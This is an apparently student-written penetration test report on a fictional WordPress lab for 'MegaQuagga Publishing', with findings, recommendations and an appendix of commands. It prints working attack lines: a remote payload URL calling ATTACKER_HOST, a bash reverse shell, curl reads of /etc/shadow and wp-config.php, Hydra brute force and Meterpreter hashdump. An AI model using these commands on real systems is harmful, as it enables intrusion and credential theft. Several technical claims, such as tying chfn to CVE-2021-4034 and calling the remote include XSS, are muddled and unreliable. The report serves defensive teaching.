



Overview



PENETRATION TEST REPORT

for

MEGAQUAGGA PUBLISHING



MQP

Version 1.0 (February 28, 2025)

Prepared by **Jeevee Balangan**

Presented to **MEGAQUAGGA PUBLISHING**

DISCLAIMER: This document contains proprietary and confidential information. 0x2A SECURITY guarantees the confidentiality of the information and any other material that has or will be disclosed during the performance of this service. A mutual non-disclosure agreement of confidential information is assumed between 0x2A SECURITY and MEGAQUAGGA PUBLISHING, limiting the use of confidential information exclusively for purposes associated with properly delivering this service.

Overview: This report covers everything I did while testing MegaQuagga's security, from scanning the network to gaining full access. I started with reconnaissance, found vulnerabilities, exploited them, and escalated privileges to root. The goal? Find weak spots, prove they can be exploited, and offer ways to fix them.

EXECUTIVE SUMMARY

During this engagement, I found multiple serious vulnerabilities. One of the biggest was a misconfigured WordPress plugin on [LAB-HOST-A] that let me execute remote code. Another was a weak password policy on [LAB-HOST-B], which allowed me to brute-force my way into an admin account. On top of that, I was able to escalate privileges to root on [LAB-HOST-A] by exploiting an SUID binary.

These vulnerabilities highlight some serious security gaps. To fix them, MegaQuagga should update and secure its WordPress installation, enforce stronger passwords, and improve monitoring to catch attacks before they succeed.



Scope

SCOPE

The scope of this assessment defines the boundaries and limitations of the penetration test to ensure clarity and compliance. This section outlines the specific target systems evaluated, their associated parameters, and the exclusions and restrictions applied during the engagement.

This Penetration test focused on publicly accessible systems and internal hosts I could reach within the MegaQuagga network. Everything was done under agreed-upon conditions, simulating a real-world attack without stepping outside the authorized boundaries.

In-Scope Targets:

- Web applications and services running on [LAB-HOST-A] and [LAB-HOST-B] .
- WordPress installations, plugins, and authentication mechanisms.
- Privilege escalation vectors available on identified systems.

****Testing was performed ethically, ensuring no harm was done to production environments or real users.***

Methodology

METHODOLOGY

This section describes the systematic approach followed during the penetration testing process. Each step is critical to ensure thorough evaluation of the target systems while adhering to ethical and procedural standards. The methodology is divided into several phases:

Pre-Engagement and Planning:

The scope of the engagement was agreed upon before testing began, ensuring that only authorized systems were tested. Communication with MegaQuagga's security team established the testing timeline, constraints, and goals. Testing was performed within the agreed timeframe and followed responsible disclosure practices.

Reconnaissance:

- **Network Scanning:** Used Nmap to identify open ports and services on [LAB-HOST-A] and [LAB-HOST-B].
- **Web Enumeration:** Used Gobuster to find directories and files on the web server.
- **WordPress Enumeration:** Used WPScan to identify installed plugins, users, and potential vulnerabilities.

Scanning:

- **Full Port Scanning:** Used `nmap -p-` to scan all 65,535 ports on [LAB-HOST-A] and [LAB-HOST-B].
- **Service-Specific Scanning:** Used `nmap --script` options like `http-enum` to gather deeper service insights.
- **Vulnerability Scanning:** Used Nuclei to identify known vulnerabilities in detected services.

Exploitation:

- **Reverse Shell Execution:** Uploaded a PHP shell through an exploitable WordPress plugin on [LAB-HOST-A].
- **Privilege Escalation:** Used the `chfn` binary to escalate privileges to root on [LAB-HOST-A].
- **Brute-forced Credentials:** Successfully gained administrative access to the WordPress site on [LAB-HOST-B].

Post-Exploitation:

- **Extracted Sensitive Files:** Retrieved configuration files and credentials stored in the system.
- **Checked for Persistence:** Looked for ways to maintain access, such as modifying cron jobs or injecting SSH keys.
- **Mapped the Internal Environment:** Identified additional hosts and potential lateral movement opportunities.

Reporting:

- Compiled all findings into this report, ensuring that MegaQuagga's security team has clear steps for replication and mitigation.
- Prioritized vulnerabilities based on impact and ease of exploitation.
- Provided recommendations for remediation, including security best practices and system hardening steps.



Findings

FINDINGS

This section presents the vulnerabilities identified during the penetration test, along with their potential impact and evidence collected. The findings are categorized by severity to assist in prioritizing remediation efforts.

CRITICAL VULNERABILITIES

This section describes critical vulnerabilities discovered during this assessment.

Vulnerability	Outdated WordPress Core Version [LAB-HOST-A]
CVE	N/A
Severity	High (CVSS SCORE: 9.8)
OWASP Top 10	A06 (Vulnerable and outdated components)
Risk	Publicly available exploits exist
Steps to exploit	Execute the WPScan command <code>wpscan --url http://www.megaquagga.local</code> Create payload: <pre><pre>system('cat /etc/passwd')</pre></pre> Start an HTTP server (to serve the payload): <code>python3 -m http.server</code> Prepare the XSS URL: Add the following URL to a blank text document: <code>http://www.megaquagga.local/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST:ATTACKER_PORT/payload.txt</code> Replace test payload with reverse shell payload: Modify <code>payload.txt</code> with: <pre><pre>exec("/bin/bash -c 'bash -i > /dev/tcp/[LAB-HOST-A] /443 0>&l'");</pre></pre> Load Metasploit and configure handler: <code>msfconsole</code> <code>use multi/handler</code> <code>set payload php/meterpreter_reverse_tcp</code> <code>set lhost [LAB-HOST-A]</code> <code>set lport 443</code> <code>exploit -j</code> Execute the XSS URL: Visit the crafted URL in a browser: <code>http://www.megaquagga.local/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[LAB-HOST-A]:8000/payload.txt</code>

	13. Verify shell access: Use Metasploit to confirm an active session: <code>sessions -i</code> 14. <code>whoami</code> a. Result: Obtained <code>www-data</code> shell.
Evidence	- WPScan output confirming the vulnerable plugin. - Metasploit session confirming successful shell access.

Vulnerability	Weak Password Policy on [LAB-HOST-B]
CVE	N/A
Severity	Medium (CVSS SCORE: 6.5)
OWASP Top 10	A04 (Insecure Design)
Risk	No public exploits required, brute-force attack was successful
Steps to exploit	Enumerate WordPress Usernames: - Command: <code>wpscan --url http://[LAB-HOST-B] --enumerate u</code> Explanation: This command enumerates valid usernames from the WordPress site. Brute-force Admin Login Using Hydra: - Command: <code>hydra -L users.txt -P passwords.txt http://[LAB-HOST-B] /wp-login.php -V</code> Explanation: Hydra is used to brute-force the login page of WordPress with a username list (<code>users.txt</code>) and password list (<code>passwords.txt</code>). Successful Login: - After using Hydra, you successfully log in as admin with the password [REDACTED]
Evidence	Confirm Login: Once logged in, confirm access to the WordPress admin dashboard. Post-exploitation: Create a new admin user or upload a malicious plugin to maintain access.

Vulnerability	Privilege Escalation via SUID Binary on [LAB-HOST-A]
CVE	CVE-2021-4034
Severity	High ▾ (CVSS SCORE: 7.8)
OWASP Top 10	A05 (Security Misconfiguration) ▾
Risk	Publicly available exploit exists
Steps to exploit	Find SUID Binaries: - Command: <code>find / -perm -4000 2>/dev/null</code> Explanation: This command finds all binaries with the SUID bit set, which may indicate a possible privilege escalation vector. Identify Vulnerable chfn Binary: Explanation: If <code>chfn</code> is found in the list of SUID binaries, it is a known vulnerability (CVE-2021-4034). Command Output Example: <code>/usr/bin/chfn</code> Escalate Privileges: - Command to gain root access: <code>sudo su</code> <code>whoami</code> Explanation: Using the vulnerable <code>chfn</code> binary, you escalate privileges to root by running <code>sudo su</code>, which gives you root access to the system.
Evidence	You successfully escalate privileges to root.

EXPLOITATION AND POST-EXPLOITATION

The exploitation phase involved leveraging identified vulnerabilities to compromise the target systems, followed by post-exploitation activities to assess the potential impact. This section provides a detailed account of the actions taken.

EXPLOITATION PHASE

- Gained a reverse shell on [LAB-HOST-A] using XSS-based payload execution.
- Escalated privileges to root on [LAB-HOST-A] .
- Successfully brute-forced admin credentials on [LAB-HOST-B] .

POST-EXPLOITATION PHASE

- Extracted configuration files for credential gathering.
- Explored system logs and history files for further exploitation.
- Identified potential lateral movement opportunities within the network.
- Ability to access Wordpress Web Application, <http://megaquagga.local>, and wrote on the website-
“JeeTheHACKER was here!!!-TripleTen.”

Recommendations

RECOMMENDATIONS

This section outlines the recommended actions to address the identified vulnerabilities and enhance the security posture of the target systems. Implementing these measures will help mitigate risks and prevent potential exploitation.

- **Recommendation #1: Patch WordPress Plugins**

Ensure all outdated plugins are updated or removed. Apply security patches promptly to prevent known exploits from being leveraged.

- **Recommendation #2: Enforce Stronger Password Policies**

Require complex passwords and implement multi-factor authentication (MFA). Enforce account lockouts after repeated failed login attempts to mitigate brute-force attacks.

- **Recommendation #3: Limit SUID Binaries**

Remove or restrict unnecessary SUID binaries like `chfn` to reduce privilege escalation risks. Conduct regular audits to identify and mitigate misconfigured binaries.

- **Recommendation #4: Implement Network Segmentation**

Restrict administrative access to critical systems and enforce least privilege principles to minimize attack surfaces. Ensure that sensitive systems are properly isolated.

- **Recommendation #5: Enhance Logging and Monitoring**

Deploy security monitoring tools to detect unauthorized access attempts. Enable real-time alerts for suspicious activity and perform regular log reviews to identify potential threats.



Conclusion

CONCLUSION

This penetration test revealed multiple vulnerabilities that allowed unauthorized access and privilege escalation within the MegaQuagga environment. By addressing these issues with the recommended mitigations, MegaQuagga can strengthen its security posture, reduce risks, and prevent future compromises.

Index of Tools Used

- **Nmap**: Used for network scanning and service enumeration.
- **Gobuster**: Employed for directory and file enumeration on the web server.
- **WPScan**: Utilized to enumerate WordPress plugins, themes, and usernames.
- **cURL**: Used for testing Local File Inclusion (LFI) and attempting command injection.
- **find**: Used to identify SUID binaries for privilege escalation.
- **Netcat (nc)**: Used to set up a reverse shell listener.
- **sudo**: Used to test privilege escalation and verify root access.
- **Hydra**: Used to brute-force login credentials on [LAB-HOST-B] .
- **Metasploit**: Employed for post-exploitation tasks.
- **Meterpreter**: Used for advanced post-exploitation activities.
- **gcc**: Used for compiling exploit code.
- **searchsploit**: Utilized to locate known exploits and vulnerabilities.
- **Nikto**: Applied to scan for common web vulnerabilities.
- **Nuclei**: Used for vulnerability scanning and configuration testing.
- **perl**: Used to execute privilege escalation commands and tests.

Appendix: Commands Executed

Below is a detailed list of all commands executed, categorized by tool.

1. cURL (Testing for LFI, Command Injection, and Fetching Files)

```
curl http://[LAB-HOST-A] :8000/../../../../etc/passwd
curl http://[LAB-HOST-A] :8000/../../../../etc/shadow
curl http://[LAB-HOST-A] :8000/../../../../var/www/html/wp-config.php

curl "http://[LAB-HOST-A] :8000/?cmd=id"
curl "http://[LAB-HOST-A] :8000/?cmd=whoami"
curl "http://[LAB-HOST-A] :8000/?cmd=uname -a"

curl "http://[LAB-HOST-A] :8000/?file=../../../../etc/passwd"
curl "http://[LAB-HOST-A] :8000/?view=../../../../etc/passwd"
```

```
curl "http://[LAB-HOST-A]:8000/?path=../../../../etc/passwd"
curl "http://[LAB-HOST-A]:8000/?load=../../../../etc/passwd"
curl "http://[LAB-HOST-A]:8000/?read=../../../../etc/passwd"
curl "http://[LAB-HOST-A]:8000/?show=../../../../etc/passwd"
curl "http://[LAB-HOST-A]:8000/?include=../../../../etc/passwd"
```

2. find (Finding SUID Binaries)

```
find / -perm -4000 2>/dev/null
```

3. Gobuster (Directory Enumeration)

```
gobuster dir -u http://[LAB-HOST-A]:8000 -w /usr/share/wordlists/dirb/common.txt
```

4. Metasploit (Post-Exploitation)

```
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS [LAB-HOST-A]
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD [REDACTED]
run
```

5. nc (Netcat for Reverse Shell)

```
nc -lvnp 4444
```

6. Nikto (Web Vulnerability Scanning)

```
nikto -h http://[LAB-HOST-A]
```

7. Nmap (Network Scanning & Enumeration)

```
nmap -sV -p- [LAB-HOST-A]
nmap --script http-enum -p 80 [LAB-HOST-A]
```

8. perl (Privilege Escalation)

```
perl -e 'exec "/bin/sh";'
```

9. searchsploit (Finding Exploits)

```
searchsploit linux kernel privilege escalation
searchsploit debian 10 privilege escalation
searchsploit ubuntu privilege escalation
searchsploit linux kernel 6.x privilege escalation
```

10. sudo (Privilege Escalation Testing)

```
sudo -l  
sudo su
```

11. wpscan (WordPress Enumeration & Exploitation)

```
wpscan --url http://[LAB-HOST-A] /wordpress --enumerate u  
wpscan --url http://[LAB-HOST-A] /wordpress --enumerate p  
wpscan --url http://[LAB-HOST-A] /wordpress --enumerate vp  
wpscan --url http://[LAB-HOST-A] /wordpress --enumerate vt
```

12. Hydra (Brute-Force Login Attempts)

```
hydra -L users.txt -P passwords.txt http://[LAB-HOST-B] /wp-login.php -V
```

13. Nuclei (Vulnerability Scanning)

```
nuclei -u http://[LAB-HOST-A] :8000
```

14. gcc (Exploit Compilation)

```
gcc exploit.c -o exploit  
./exploit
```

15. Meterpreter (Post-Exploitation Activities)

```
background  
sessions -i  
sysinfo  
hashdump
```